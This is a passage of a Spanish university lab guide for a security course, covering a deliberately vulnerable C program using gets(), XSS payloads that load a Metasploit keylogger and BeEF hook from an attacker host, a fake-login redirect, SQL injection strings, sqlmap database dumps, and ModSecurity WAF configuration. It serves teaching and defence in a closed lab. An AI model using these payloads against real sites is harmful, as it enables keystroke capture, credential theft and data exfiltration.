5 bytes)?
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char* crear_pin_aleatorio() {
char* pin = (char *) malloc(5);;
srand(time(0)); // Inicializa generador de nos. aleatorios
sprintf(pin, "%04d", rand()%10000);
return pin;
}
int main(int argc, char *argv[]) {
char pin_secreto[5];
strcpy(pin_secreto, crear_pin_aleatorio());
char pin_leido[5];
printf("Introducir PIN: ");
gets(pin_leido); // No comprueba tamano de entrada
if (strcmp(pin_leido, pin_secreto) == 0){
printf("Acceso concedido, pin correcto\n");
}
else {
printf("Acceso denegado, pin incorrecto\n");
}
printf("PISTA:\n pin secreto: %s\n pin leido: %s\n", pin_secreto,pin_leido);
}
El código es vulnerable a un desbordamiento del buffer sobre la variable pin_leido derivado del uso de la función gets()
pin_leido que deja abierto el uso de get(), es necesario
identificar varias cuestiones relativas al modo en que gestiona la pila de ejecución (Stack) el compilador GCC, que dependen de la arquitectura de la CPU, la versión concreta de GCC y las opciones por defecto que se usan en las distintas distribuciones GNU/Linux.
Aspectos a identificar
Las versiones recientes de GCC incluyen por defecto el uso de la opción -fstack-protector que usa random canaries para proteger los campos de control del Stack frame y en algunos caso también protege los arrays con tamaño superior a 4 bytes o 8 bytes.
Basta con compilar el código sin especificar parámetros adicionales.
$ gcc -o desbordador desbordador.c $ ./desbordador
Nota: para verificar si la protección de pila está habilita basta introducir
*** stack smashing detected ***, indicando que la protección de pila está habilitada.
En caso de estar habilitada la protección de pila sobre el buffer pin_leido, esto impediría realizar el ejemplo propuesto, por lo que es necesario compilar el código deshabilitando la protección de la pila con la opción -fno-stack-protector
$ gcc -fno-stack-protector -o desbordador desbordador.c $ ./desbordador
Dependiendo de la arquitectura de la CPU (32 o 64 bits) y de las opciones por defecto del compilador GCC las variables locales almacenadas en la pila de ejecución pueden alinearse de diferentes formas
El espacio asignado a la variable pin_secreto empieza justo 5 posiciones más adelante de
la dirección apuntada por pin_leido.
El espacio asignado a la variable pin_secreto empieza justo 8 posiciones más adelante de
la dirección apuntada por pin_leido.
El espacio asignado a la variable pin_secreto empieza justo 16 posiciones más adelante de
la dirección apuntada por pin_leido.
5 bytes)?
TAREA ENTREGALE (A)
Documentación a entregar: Documentar brevemente las tareas 2, 3 y 4 del ejemplo de desbordamiento de buffer.
En estas prácticas se empleará el software de virtualización VIRTUALBOX para simular los equipos GNU/Linux sobre los que se realizarán las pruebas.
alumno@pc: $ sh ejercicio-modsecurity.sh
Powershell.exe -executionpolicy bypass -file ejercicio-modsecurity.ps1
Notas:
$DIR_BASE especifica donde se descargarán las imágenes y se crearán las MVs.
Por defecto en GNU/Linux será en $HOME/SSI2223 y en Windows en C:/SSI2223.
Puede modificarse antes de lanzar los scripts para hacer la instalación en otro directorio más conveniente (disco externo, etc)
.vdi.zip de http://ccia.esei.uvigo.es/docencia/SSI/2223/practicas/ y copiarlos en el directorio anterior ($DIR_BASE) para que el script haga el resto.
VBoxManage startvm <nombre MV>_<id>
Contiene un sistema Parrot Security OS (basado en Debian) con herramientas gráficas y un entorno gráfico ligero LXDE (Lighweight X11 Desktop Environment) [LXDE].
| login | password |
|---|---|
| root | purple |
| usuario | usuario |
| (con privilegios sudo) |
root@base:~# startx
Dispositivos -> Portapapeles compartido -> bidireccional de la ventana de la máquina virtual.
En este ejercicio veremos ejemplos simples de vulnerabilidades web.
NOTA: NO FUNCIONA SOBRE php7 INSTALADO EN LAS MVs
PREVIO (IMPORTANTE) Asegurar que están iniciados los servidores Apache y MySQL.
modsecurity:~# systemctl status apache2 modsecurity:~# systemctl status mysql (reiniciar si es necesario) modsecurity:~# systemctl restart apache2 modsecurity:~# systemctl restart mysql
En la máquina modsecurity hay una implementación de un foro de juguete en PHP.
Desde la máquina atacante:
<script> alert("esto admite XSS") </script>
Desde la máquina victima:
En un escenario real, un atacante (el papel de ana) inyectaría código Javascript más dañino, normalmente con la finalidad de hacerse con información relevante del usuario atacado (el papel de pepe).
Información del módulo en http_javascript_keylogger
atacante:~# msfdb start
atacante:~# msfconsole
[msf] >> use auxiliary/server/capture/http_javascript_keylogger
auxiliary(http_javascript_keylogger) >> info
auxiliary(http_javascript_keylogger) >> set DEMO true
auxiliary(http_javascript_keylogger) >> set SRVPORT 8888
auxiliary(http_javascript_keylogger) >> set URIPATH js
auxiliary(http_javascript_keylogger) >> run
El keylogger Javascript quedará disponible en cualquier URL de la forma http://atacante.ssi.net:8888/js/[...].js,
de modo que cuando se cargue esa librería Javascript se inicie la captura de pulsaciones de teclado.
Título: Un mensaje inocente
Contenido:
blabla <script src="http://atacante.ssi.net:8888/js/jquery.js"></script> blabla
Al solicitar la carga de la librería JavaScript se accederá a la URL donde ”escucha” el keyloger de Metasploit y lo que se teclee en esa página será capturado.
OPCIONAL: Simular la redirección a una página de lectura de credenciales
El módulo Metasploit genera un página de login simulada (habilitado con la opción DEMO=true) en la URL http://atacante.ssi.net:8888/js/demo para probar la redirección y captura de credenciales (en un escenario real se haría un ataque de phising creando una página de login falsa imitando la apariencia de la web legítima)
Título: Otro mensaje inocente
Contenido:
blabla <script> window.location.replace("http://atacante.ssi.net:8888/js/demo") </script> blabla
Se redireccionará el navegador a una página de login falsa creada por Metasploit donde capturará las pulsaciones de teclado.
Puede ser necesario recrear la BD de la aplicación foro.
atacante, iniciar el demonio beef-xss
atacante:~# beef-xss [i] GeoIP database is missing [i] Run geoipupdate to download / update Maxmind GeoIP database [*] Please wait for the BeEF service to start. [*] [*] You might need to refresh your browser once it opens. [*] [*] Web UI: http://127.0.0.1:3000/ui/panel [*] Hook: <script src="http://<IP>:3000/hook.js"></script> [*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>Pone en marcha
beef, exponiendo en http://<IP>:3000/hook.js la librería JS a cargar en las víctimas.
La consola de control de Beef estará disponible en la URL http://127.0.0.1:3000/ui/panel
Título: Un mensaje inocente
Contenido:
blabla <script src="http://atacante.ssi.net:3000/hook.js"></script> blabla
http://127.0.0.1:3000/ui/panel en la máquina atacante se accede a la consola de control de Beef donde se muestra un nuevo zombie en modsecurity.ssi.net sobre el que se pueden lanzar los comandos Beef disponibles desde la pestaña Current Browser > Commands.
Desde la máquina atacante
Indicar lo siguiente en la casilla usuario:
usuario: ' or 1=1 ; # password: <vacío>
Confirmamos cómo se accede la aplicación como un usuario autorizado (el primero de la base de datos)
En la máquina modsecurity, comprobar cómo sería la consulta SQL que usará esos parámetros (ver el código en /var/www/html/foro/login.php)
modsecurity:~# leafpad /var/www/html/foro/login.php &
En la máquina virtual modsecurity se encuentra instaladas tres aplicaciones vulnerables (2 en PHP y 1 en Java) diseñadas para experimentar con ellas.
Implementa ejemplos de XSS e inyección SQL y otras vulnerabilidades en tres niveles de dificultad
El código está disponible en el directorio ejercicio-modsecurity de modsecurity.ssi.net.
vulnerabilities hay una carpeta para cada ejercicio/vulnerabilidad
source, ficheros low.php, medium.php, hig.php e impossible.php)
Similar a DVWA, pero con los ejemplos más documentos y estructurados de acuerdo al OWASP Top 10.
El código está disponible en el directorio /var/www/html/mutillidae de modsecurity.ssi.net.
Web: http://sourceforge.net/projects/mutillidae/
modsecurity (solicita un registro previo en la aplicación, proporcionando login y password)
Aplicación web Java vulnerable desarrollada como parte del proyecto OWASP.
Instalación y arranque: desde el directorio /root/aplicaciones-vulnerables/
modsecurity:/root/aplicaciones-vulnerables# java -jar webgoat-server-8.2.2.jar
Nota: WebGoat sólo está accesible en local, por lo que debe accederse desde el navegador de la máquina modsecurity
Web: https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
admin y contraseña password
low desde el botón DVWA Security del menú lateral izquierdo.
SQL Injection del menú lateral izquierdo.
id
/var/www/html/DVWA/vulnerabilities/sqli/source/low.php
se puede ver la implementación correspondiente al nivel de seguridad low
id para construir la consulta directamente mediante la concatenación de Strings, por lo que es vulnerable a la inyección de código SQL.
' or 'a'='a [o alternativamente ' or 1=1 # ]
true la condición del where
UNION SELECT
' and 0=1 UNION SELECT table_name,column_name FROM information_schema.columns;#
0=1) para anular la primera parte de la consulta de modo que
los resultados a mostrar provengan únicamente de la segunda consulta SELECT inyectada por el atacante.
' and 0=1 UNION SELECT user,passwrod FROM users;#, ¿qué resultado se obtiene?.
CUESTION 1. Indicar cómo es la consulta que finalmente se envía a la BD en el punto 5 y explicar porqué tiene éxito este ataque y se obtiene como resultado la lista de todos los pares (tabla,columna).
SQLMap: http://sqlmap.org/ y https://github.com/sqlmapproject/sqlmap
admin y contraseña password (si no se hizo antes)
low desde el botón DVWA Security del menú lateral izquierdo. (si no se hizo antes)
SQL Injection (Blind) del menú lateral izquierdo.
id
/var/www/html/DVWA/vulnerabilities/sqli_blind/source/low.php
se puede ver la implementación correspondiente al nivel de seguridad low
id para construir la consulta directamente mediante la concatenación de Strings, por lo que es vulnerable a la inyección de código SQL.
PHPSESSID) usada por DVWA
QupZilla, menú 'Herramientas > Gestor de cookies'
PHPSESSID en la máquina modsecurity.ssi.net y almacenarlo en una variable de entorno para simplificar su uso en SQLmap.
root@atacante:~# export MI_COOKIE=valor_de_la_cookie
root@atacante:~# sqlmap.py --risk=3 \
--cookie="PHPSESSID=$MI_COOKIE;security=low" \
--url="http://modsecurity.ssi.net/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#"
(Aceptar los valores por defecto que ofrece sqlmap en las diferentes opciones)
Confirma que es posible la inyección sobre el Query param id (empleando la tećnica boolean-based o la time-based)
Indica también la versión del servidor MySQL, del servidor web y del sistema operativo de la víctima.
--tables)
root@atacante:~# sqlmap.py --risk=3 \
--cookie="PHPSESSID=$MI_COOKIE;security=low" \
--url="http://modsecurity.ssi.net/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" \
--tables
(Aceptar los valores por defecto que ofrece sqlmap en las diferentes opciones)
dvwa (opción --columns -D dvwa)
root@atacante:~# sqlmap.py --risk=3 \
--cookie="PHPSESSID=$MI_COOKIE;security=low" \
--url="http://modsecurity.ssi.net/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" \
--columns -D dvwa
(Aceptar los valores por defecto que ofrece sqlmap en las diferentes opciones)
dvwa (--dump -D dvwa)
root@atacante:~# sqlmap.py --risk=3 \
--cookie="PHPSESSID=$MI_COOKIE;security=low" \
--url="http://modsecurity.ssi.net/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" \
--dump -D dvwa
(Aceptar los valores por defecto que ofrece sqlmap en las diferentes opciones)
Nota: SQLmap da la opción de romper los hashes de las contraseñas empleando fuerza bruta sobre su propio diccionario de contraseñas frecuentes (/root/herramientas_web/sqlmap-dev/txt/wordlist.zip) [sólo válido para hashes sin salt y con contraseñas presentes en el diccionario]
TAREA ENTREGABLE (B)
CUESTION 1
NOTA: Si es necesario para replicar los ejercicios anteriores, se puede reconstruir la base de datos inicial del foro.
modsecurity:~# cd /var/www/html/foro modsecurity:/var/www/html/foro# mysql -u root -p (con la contraseña purple) mysql > drop database foro; mysql > create database foro; mysql > use foro; mysql > source foro.sql
ModSecurity es un WAF (Web Application Firewall) [https://en.wikipedia.org/wiki/Web_application_firewall] disponible originalmente como módulo para el servidor HTTP Apache.
modsecurity:~# apt-get update modsecurity:~# apt-get install libapache2-mod-security2 # modulo security2 de Apache modsecurity:~# apt-get install modsecurity-crs # colección de reglas Core Rule Set
Descarga desde OWASP ModSecurity Core Rule Set Project
y http://github.com/SpiderLabs/owasp-modsecurity-crs
(ya descargado al instalar paquete modsecurity-crs)
modsecurity:~# cat /etc/apache2/mods-available/security2.conf
<IfModule security2_module>
# Default Debian dir for modsecurity's persistent data
SecDataDir /var/cache/modsecurity
# Include all the *.conf files in /etc/modsecurity.
# Keeping your local configuration in that directory
# will allow for an easy upgrade of THIS file and
# make your life easier
IncludeOptional /etc/modsecurity/*.conf
# Include OWASP ModSecurity CRS rules if installed
IncludeOptional /usr/share/modsecurity-crs/*.load
</IfModule>
modsecurity:~# cat /usr/share/modsecurity-crs/owasp-crs.load
##
## This file loads OWASP CRS's rules when the package is installed
## It is Included by libapache2-mod-security2
##
Include /etc/modsecurity/crs/crs-setup.conf
IncludeOptional /etc/modsecurity/crs/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf
Include /usr/share/modsecurity-crs/rules/*.conf
IncludeOptional /etc/modsecurity/crs/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf
/etc/modsecurity/crs/crs-setup.conf
/usr/share/modsecurity-crs/rules/*.conf
modsecurity:~# ls /usr/share/modsecurity-crs/rules/*.conf /usr/share/modsecurity-crs/rules/REQUEST-901-INITIALIZATION.conf ... /usr/share/modsecurity-crs/rules/REQUEST-912-DOS-PROTECTION.conf /usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf ... /usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf # <- reglas deteccion XSS /usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf # <- reglas deteccion SQLi ... /usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf
modsecurity:~# cd /etc/modsecurity/ modsecurity:/etc/modsecurity/# mv modsecurity.conf-recommended modsecurity.conf
| IMPORTANTE | |
|---|---|
|
modsecurity:~# a2enmod security2 modsecurity:~# systemctl restart apache2
Repetir las pruebas realizadas sobre el ”foro vulnerable” en los apartados 3.2 (Cross Site Scripting) y 3.3.1 (Inyección SQL)
y verificar las alertas generadas por mod_security.
mod-security funciona en modo DetectionOnly (ver /etc/modsecurity/modsecurity.conf)
/var/log/apache2/error.log) indicando la regla que ha generado la alerta
/var/log/apache2/modsec_audit.log la petición HTTP que ha provocado la alerta
Tareas a realizar para el entregable:
/var/log/apache2/error.log y/o /var/log/apache2/modsec_audit.log
[Opcionalmente pueden hacerse también las pruebas con DVWA. No es recomendable hacerlo en el ejemplo de Blind SQLi porque se generá una cantidad muy grande de alertas].
Nota: Durante la prueba es conveniente ejecutar en un terminal diferente el comando tail -f para poder ver la generación de las diferentes alertas ante cada uno de los accesos maliciosos
modsecurity:~# tail -f /var/log/apache2/modsec_audit.log ó modsecurity:~# tail -f /var/log/apache2/error.log
Configurar mod-security en modo rechazo y repetir las pruebas realizadas sobre el ”foro vulnerable” en los apartados 3.2 (Cross Site Scripting) y 3.3.1 (Inyección SQL) [opcionalmente con DVWA]
modsecurity:~# nano /etc/modsecurity/modsecurity.conf ... SecRuleEngine On ... modsecurity:~# systemctl restart apache2
En esta caso, al intentar los accesos maliciosos el servidor devolverá un error 403 y registrará las alertas en los ficheros de log (/var/log/apache2/error.log y /var/log/apache2/modsec_audit.log)
Nota: Durante la prueba es conveniente ejecutar en un terminal diferente el comando tail -f para poder ver la generación de las diferentes alertas ante cada uno de los accesos maliciosos
modsecurity:~# tail -f /var/log/apache2/modsec_audit.log ó modsecurity:~# tail -f /var/log/apache2/error.log
Tareas a realizar para el entregable:
Entregable:
Fecha de entrega: En MOOVI, hasta 28¡7/11/2022 (individual o parejas)